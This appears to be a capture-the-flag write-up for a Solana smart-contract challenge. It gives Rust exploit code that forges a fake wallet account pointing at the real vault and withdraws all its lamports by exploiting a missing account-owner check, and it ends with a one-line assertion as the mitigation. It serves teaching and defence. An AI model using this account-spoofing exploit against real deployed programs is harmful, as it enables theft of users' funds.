Solution

#![allow(unused)]
fn main() {
use borsh::BorshSerialize;
use level0::{Wallet, WalletInstruction};
use solana_program::instruction::{AccountMeta, Instruction};

fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {
    // Figure out how much we want to steal
    let amount = env.get_account(challenge.vault_address).unwrap().lamports;
    println!("Trying to steal {} lamports", amount.green());

    // Create a fake Wallet pointing to the real vault
    let hack_wallet = Wallet {
        authority: challenge.hacker.pubkey(),
        vault: challenge.vault_address,
    };

    let fake_wallet = keypair(123);
    let mut hack_wallet_data: Vec<u8> = vec![];

    hack_wallet.serialize(&mut hack_wallet_data).unwrap();

    env.create_account_with_data(&fake_wallet, hack_wallet_data);

    env.execute_as_transaction(
        &[Instruction {
            program_id: challenge.wallet_program,
            accounts: vec![
                AccountMeta::new(fake_wallet.pubkey(), false),
                AccountMeta::new(challenge.vault_address, false),
                AccountMeta::new(challenge.hacker.pubkey(), true),
                AccountMeta::new(challenge.hacker.pubkey(), false),
                AccountMeta::new_readonly(system_program::id(), false),
            ],
            data: WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(),
        }],
        &[&challenge.hacker],
    )
    .print();
}

}

Mitigation

By adding a check in the withdraw function, to check if the program itself is the owner of the wallet_info this vulnerability can be prevented:

#![allow(unused)]
fn main() {
assert_eq!(wallet_info.owner, _program_id);
}